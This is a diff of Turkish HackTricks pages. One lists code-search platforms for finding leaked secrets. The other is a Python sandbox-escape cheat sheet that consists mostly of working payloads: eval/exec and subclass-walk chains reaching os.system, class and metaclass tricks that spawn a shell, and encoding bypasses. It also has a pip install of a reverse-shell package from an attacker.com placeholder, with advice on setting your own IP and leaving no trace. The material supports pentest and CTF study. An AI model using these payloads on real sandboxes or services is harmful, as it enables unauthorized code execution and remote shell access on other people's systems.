<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmaya kadar AWS hackleme öğrenin!</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na bakın(https://github.com/sponsors/carlospolop)!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -1,43 +1,57 @@
# Geniş Kaynak Kodu Arama
# Geniş Kaynak Kodu Araması
<details>
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin.
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) takip edin.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
</details>
Bu sayfanın amacı, bir veya daha fazla platformda binlerce/milyonlarca repo içinde **kod aramasına izin veren platformları** sıralamaktır.
**Try Hard Güvenlik Grubu**
Bu, sızdırılmış bilgileri veya zayıflıkların desenlerini aramak için birkaç durumda yardımcı olur.
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
* [**SourceGraph**](https://sourcegraph.com/search): Milyonlarca repo içinde arama yapın. Ücretsiz bir sürümü ve 15 günlük ücretsiz bir kurumsal sürümü bulunmaktadır. Regex'leri destekler.
{% embed url="https://discord.gg/tryhardsecurity" %}
***
Bu sayfanın amacı, bir veya daha fazla platformda binlerce/milyonlarca depoda **kod aramaya izin veren platformları** sıralamaktır.
Bu, **sızdırılmış bilgileri aramak** veya **zafiyetlerin** desenlerini aramak için birkaç durumda yardımcı olur.
* [**SourceGraph**](https://sourcegraph.com/search): Milyonlarca depoda arama yapın. Ücretsiz bir sürümü ve kurumsal bir sürümü (15 günlük ücretsiz) bulunmaktadır. Regex'leri destekler.
* [**Github Arama**](https://github.com/search): Github üzerinde arama yapın. Regex'leri destekler.
* Belki de [**Github Kod Arama**](https://cs.github.com/) da faydalı olabilir.
* Belki de [**Github Kod Araması**](https://cs.github.com/) da faydalı olabilir.
* [**Gitlab Gelişmiş Arama**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Gitlab projeleri arasında arama yapın. Regex'leri destekler.
* [**SearchCode**](https://searchcode.com/): Milyonlarca projede kod arayın.
{% hint style="warning" %}
Bir repo içinde sızıntıları ararken `git log -p` gibi bir şey çalıştırdığınızda, **diğer sızıntılar içeren başka dalların da olabileceğini unutmayın**!
Bir depoda sızıntıları ararken ve `git log -p` gibi bir şey çalıştırırken **diğer sırların ve sırlar içeren diğer taahhütlerin** olabileceğini unutmayın!
{% endhint %}
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin.
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) takip edin.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
</details>

View file

@ -2,23 +2,31 @@
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking hilelerinizi paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
Bu, python kum havuzlarını atlatmak ve keyfi komutları yürütmek için bazı hilelerdir.
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
Bu, python kum havuzu korumalarını atlatmak ve keyfi komutlar yürütmek için bazı püf noktalarıdır.
## Komut Yürütme Kütüphaneleri
Bilmeniz gereken ilk şey, zaten içe aktarılmış bir kütüphane ile doğrudan kod yürütebilir misiniz veya bu kütüphanelerden herhangi birini içe aktarabilir misiniz:
Bilmeniz gereken ilk şey, zaten içe aktarılmış bir kütüphane ile doğrudan kod yürütebilir miyim veya bu kütüphanelerden herhangi birini içe aktarabilir miyim:
```python
os.system("ls")
os.popen("ls").read()
@ -51,7 +59,7 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
Hatırlayın ki _**open**_ ve _**read**_ fonksiyonları, python kum havuzu içindeki dosyaları okumak ve kum havuzunu atlatmak için **bazı kodlar yazmak** için kullanışlı olabilir.
Hatırlayın ki _**open**_ ve _**read**_ fonksiyonları, python kum havuzu içindeki dosyaları **okumak** ve kum havuzunu **atlatmak** için **bazı kodlar yazmak** için kullanışlı olabilir.
{% hint style="danger" %}
**Python2 input()** fonksiyonu programın çökmeden önce python kodunu çalıştırmasına izin verir.
@ -65,8 +73,8 @@ Python, **kütüphaneleri önceki dizinden yüklemeye çalışır** (aşağıdak
### Varsayılan paketler
Burada **önceden yüklenmiş** paketlerin bir listesini bulabilirsiniz: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Bir pickle'dan, sistemde yüklü **keyfi kütüphaneleri içe aktarabilirsiniz**.\
**Önceden yüklenmiş** paketlerin listesini burada bulabilirsiniz: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Bir pickle'dan python ortamının sistemde yüklü **keyfi kütüphaneleri içe aktarabileceğinizi** unutmayın.\
Örneğin, aşağıdaki pickle, yüklendiğinde pip kütüphanesini içe aktaracak:
```python
#Note that here we are importing the pip library so the pickle is created correctly
@ -91,18 +99,18 @@ Eğer `pip` veya `pip.main()` erişiminiz varsa, keyfi bir paket yükleyebilir v
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
Pozitif kabuk oluşturmak için paketi buradan indirebilirsiniz. Kullanmadan önce **paketin sıkıştırmasını açmalı, `setup.py` dosyasını değiştirmeli ve ters kabuk için IP'nizi girmelisiniz**:
Reverse shell oluşturmak için paketi buradan indirebilirsiniz. Kullanmadan önce **paketin sıkıştırmasını açmalı, `setup.py` dosyasını değiştirmeli ve ters shell için IP'nizi girmelisiniz**:
{% file src="../../../.gitbook/assets/reverse.tar.gz" %}
{% hint style="info" %}
Bu paket `Reverse` olarak adlandırılmıştır. Ancak, ters kabuktan çıktığınızda geri kalan kurulumun başarısız olması için özel olarak hazırlandı, böylece sunucuda ayrıca **herhangi bir ek python paketi bırakmazsınız**.
Bu paket `Reverse` olarak adlandırılmaktadır. Ancak, ters shell'den çıktıktan sonra geri kalan kurulumun başarısız olması için özel olarak hazırlandı, böylece sunucuda ayrıca **herhangi bir ek python paketi bırakmazsınız**.
{% endhint %}
## Python kodunu değerlendirme
{% hint style="warning" %}
exec çoklu satır dizelerine ve ";" karakterine izin verir, ancak eval etmez (walrus operatörünü kontrol edin)
Exec çoklu satır dizeleri ve ";" izin verir, ancak eval etmez (walrus operatörünü kontrol edin)
{% endhint %}
Belirli karakterler yasaklanmışsa, kısıtlamayı **atlatmak** için **hex/octal/B64** temsilini kullanabilirsiniz:
@ -149,9 +157,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
```
## Kod korumalarınıma (UTF-7)
## Kod şifrelemeleri aracılığıyla korumaları atlatma (UTF-7)
[**Bu yazıda**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7, açık bir kum havuzu içinde keyfi Python kodunu yüklemek ve yürütmek için kullanılmıştır:
[**Bu yazıda**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7, açık bir kum havuzu içinde keyfi Python kodunu yüklemek ve çalıştırmak için kullanılmıştır:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -162,11 +170,11 @@ return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()
```
Ayrıca, diğer kodlamaları kullanarak da bunu atlayabilirsiniz, örn. `raw_unicode_escape` ve `unicode_escape`.
Ayrıca, diğer kodlamaları kullanarak da bunu atlayabilirsiniz, örneğin `raw_unicode_escape` ve `unicode_escape`.
## Çağrı yapmadan Python yürütme
## Çağrı olmadan Python yürütme
Eğer **çağrı yapmanıza izin vermeyen** bir python hapishanesindeyseniz, yine de **keyfi fonksiyonlar, kod** ve **komutlar** yürütmek için bazı yollar vardır.
Eğer **çağrı yapmanıza izin vermeyen bir Python hapishanesinde** iseniz, yine de **keyfi fonksiyonlar, kod** ve **komutlar** yürütmek için bazı yollar vardır.
### [Dekoratörler](https://docs.python.org/3/glossary.html#term-decorator) ile Uzaktan Kod Yürütme (RCE)
```python
@ -192,11 +200,11 @@ class _:pass
```
### RCE nesneler oluşturma ve aşırı yükleme
Eğer bir **sınıf bildirebilir** ve o sınıfın bir **nesnesini oluşturabilirseniz**, **farklı yöntemleri yazabilir/yeniden yazabilirsiniz** ve bunlar **doğrudan çağrılmadan tetiklenebilir**.
Eğer bir **sınıf bildirebilir** ve o sınıfın bir **nesnesini oluşturabilirseniz**, farklı **metotları yazabilir/yeniden tanımlayabilirsiniz** ve bunlar **doğrudan çağrılmadan tetiklenebilir**.
#### Özel sınıflarla RCE
Bazı **sınıf yöntemlerini** değiştirebilirsiniz (_mevcut sınıf yöntemlerini üzerine yazarak veya yeni bir sınıf oluşturarak_), böylece bunlar **doğrudan çağrılmadan tetiklendiğinde** **keyfi kodları yürütebilirsiniz**.
Bazı **sınıf metotlarını** değiştirebilirsiniz (_mevcut sınıf metotlarını üzerine yazarak veya yeni bir sınıf oluşturarak_), bunları doğrudan çağırmadan **tetiklendiğinde** **keyfi kodları yürütebilirsiniz**.
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -248,7 +256,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
```
#### [Metaclass](https://docs.python.org/3/reference/datamodel.html#metaclasses) kullanarak nesneler oluşturma
Metaclass'ların bize izin verdiği temel şey, hedef sınıfın metaclass olarak kullanılarak yeni bir sınıf oluşturarak, **kurucuyu doğrudan çağırmadan bir sınıf örneği oluşturmaktır**.
Metaclass'ların bize izin verdiği temel şey, hedef sınıfın metaclass olarak kullanılarak doğrudan yapıcıyı çağırmadan bir sınıf örneği oluşturmaktır.
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
@ -265,7 +273,7 @@ Sub['import os; os.system("sh")']
```
#### İstisnalarla nesneler oluşturma
Bir **istisna tetiklendiğinde**, **Exception**'dan bir nesne **oluşturulur** ve doğrudan yapıcıyı çağırmak zorunda kalmazsınız ([**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)den bir hile):
Bir **istisna tetiklendiğinde**, **Exception**'ın nesnesi **doğrudan yapıcıyı çağırmadan oluşturulur** ([**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)'den bir hile):
```python
class RCE(Exception):
def __init__(self):
@ -329,9 +337,9 @@ __builtins__.__dict__['__import__']("os").system("ls")
### Dahili Fonksiyonlar
`__builtins__`'e sahip olmadığınızda, **hiçbir şeyi içe aktaramayacak** ve hatta dosya okuyup yazamayacaksınız çünkü **tüm global fonksiyonlar** (örneğin `open`, `import`, `print`...) **yüklenmemiştir**.\
Ancak, **varsayılan olarak python birçok modülü belleğe yükler**. Bu modüller zararsız görünebilir, ancak bazıları içlerinde **tehlikeli** işlevsellikler de **içe aktarabilir** ve hatta **keyfi kod yürütme** elde etmek için erişilebilir olabilir.
Ancak, **varsayılan olarak python birçok modülü belleğe yükler**. Bu modüller zararsız görünebilir, ancak bazıları içlerinde **tehlikeli** işlevsellikler de içeren **zararlı** işlevselliği de içe aktarabilir ki bu da hatta **keyfi kod yürütme** elde etmek için erişilebilir.
Aşağıdaki örneklerde, bu "**zararsız**" modüllerin **içinde yüklü** olan **tehlikeli işlevselliklere** **erişmek** için nasıl **kötüye kullanılabileceğini** görebilirsiniz.
Aşağıdaki örneklerde, bu "**zararsız**" modüllerin **içinde yüklü** olan **tehlikeli** **işlevselliğe** **erişmek** için nasıl **kötüye kullanılabileceğini** görebilirsiniz.
**Python2**
```python
@ -355,6 +363,18 @@ import __builtin__
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
```
#### Python3
Python3 için Python kumbaralarını atlamak için bazı teknikler:
- **Kütüphane Yükleme**: Bazı kumbaralar, belirli kütüphanelerin yüklenmesini engelleyebilir. Ancak, `import` ifadesi yerine `__import__` fonksiyonu kullanılarak bu engel aşılabilmektedir.
- **Kısıtlanmış Fonksiyonlar**: Bazı kumbaralar, belirli fonksiyonların kullanımını kısıtlayabilir. Bu durumda, `getattr` veya `globals` fonksiyonları kullanılarak bu kısıtlamalar atlatılabilir.
- **Bytecode Manipülasyonu**: Python bytecode'u üzerinde değişiklik yaparak kısıtlamaları atlayabilirsiniz. `dis` modülü bu konuda yardımcı olabilir.
- **Alternatif Yöntemler**: Kumbaraları atlamak için farklı yöntemler deneyebilirsiniz. Örneğin, `ctypes` modülü ile C kütüphanelerini kullanarak kısıtlamaları aşabilirsiniz.
Bu teknikler, Python kumbaralarını atlamak için başlangıç noktası olabilir. Ancak, her durum farklı olduğundan, spesifik bir senaryoya uygun yöntemler geliştirmek önemlidir.
```python
# Obtain builtins from a globally defined function
# https://docs.python.org/3/library/functions.html
@ -373,7 +393,7 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**Aşağıda daha büyük bir fonksiyon**](./#recursive-search-of-builtins-globals) bulunmaktadır ve bu fonksiyon sayesinde **builtins**'i bulabileceğiniz onlarca/**yüzlerce yer** bulunmaktadır.
[**Aşağıda daha büyük bir fonksiyon**](./#recursive-search-of-builtins-globals) bulunmaktadır ki burada **yüzlerce yerde** **builtins** bulabilirsiniz.
#### Python2 ve Python3
```python
@ -389,7 +409,7 @@ __builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below
```
## Globals ve locals
## Global ve yerel değişkenler
**`globals`** ve **`locals`** kontrol etmek, erişebileceğiniz şeyleri bilmek için iyi bir yoldur.
```python
@ -415,13 +435,13 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
```
[**Aşağıda daha büyük bir fonksiyon**](./#recursive-search-of-builtins-globals) **bulabileceğiniz onlarca/yüzlerce yer** bulmak için.
[**Aşağıda daha büyük bir fonksiyon**](./#recursive-search-of-builtins-globals) bulunmaktadır ve burada **yüzlerce yerde** **globals**'ı bulabilirsiniz.
## Keyfi Yürütme Keşfi
Burada, **daha tehlikeli işlevlerin yüklendiğini kolayca keşfetmenin** ve daha güvenilir saldırıları önermenin nasıl olduğunu açıklamak istiyorum.
Burada, **daha tehlikeli işlevselliklerin keşfini** kolayca nasıl yapabileceğinizi açıklamak ve daha güvenilir saldırıları önermek istiyorum.
#### Atlatmalarla alt sınıflara erişme
#### Atlatmalarla Alt Sınıflara Erişim
Bu teknikte en hassas kısımlardan biri, **temel alt sınıflara erişebilmektir**. Önceki örneklerde bunu `''.__class__.__base__.__subclasses__()` kullanarak yapmıştık ancak **başka mümkün yollar** da vardır:
```python
@ -453,7 +473,7 @@ defined_func.__class__.__base__.__subclasses__()
```
### Tehlikeli kütüphanelerin yüklenmesini bulma
Örneğin, **`sys`** kütüphanesi ile **keyfi kütüphanelerin yüklenebileceğini** bildiğinizde, içinde **sys** kütüphanesini içe aktaran tüm **yüklenmiş modülleri** arayabilirsiniz:
Örneğin, **`sys`** kütüphanesi ile **keyfi kütüphanelerin içe aktarılabilir** olduğunu bildiğinizde, içinde **sys**'yi içe aktaran tüm **yüklenmiş modülleri** arayabilirsiniz:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
@ -462,7 +482,7 @@ defined_func.__class__.__base__.__subclasses__()
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
Aynı şeyi yapabiliriz, sadece **diğer kütüphanelerle** biliriz ki **komutları yürütmek** için kullanılabilir:
Aynı şeyi, komutları **yürütmek** için kullanılabileceğini bildiğimiz **diğer kütüphanelerle** de yapabiliriz:
```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -497,7 +517,7 @@ Aynı şeyi yapabiliriz, sadece **diğer kütüphanelerle** biliriz ki **komutla
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
```
Ayrıca, hangi modüllerin kötü amaçlı kütüphaneleri yüklediğini bile araştırabiliriz:
Ayrıca, kötü amaçlı kütüphaneleri yükleyen modülleri bile arayabiliriz:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
@ -516,7 +536,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb:
"""
```
Ayrıca, eğer **diğer kütüphanelerin** de **komutları yürütmek için fonksiyonları çağırabileceğini düşünüyorsanız**, olası kütüphanelerin içindeki fonksiyon isimlerine göre de **filtreleme yapabiliriz**:
Ayrıca, eğer **diğer kütüphanelerin** de **komutları yürütmek için fonksiyonları çağırabileceğini** düşünüyorsanız, olası kütüphanelerin içindeki fonksiyon isimlerine göre de **filtreleme yapabiliriz**:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -548,10 +568,10 @@ execfile:
execute:
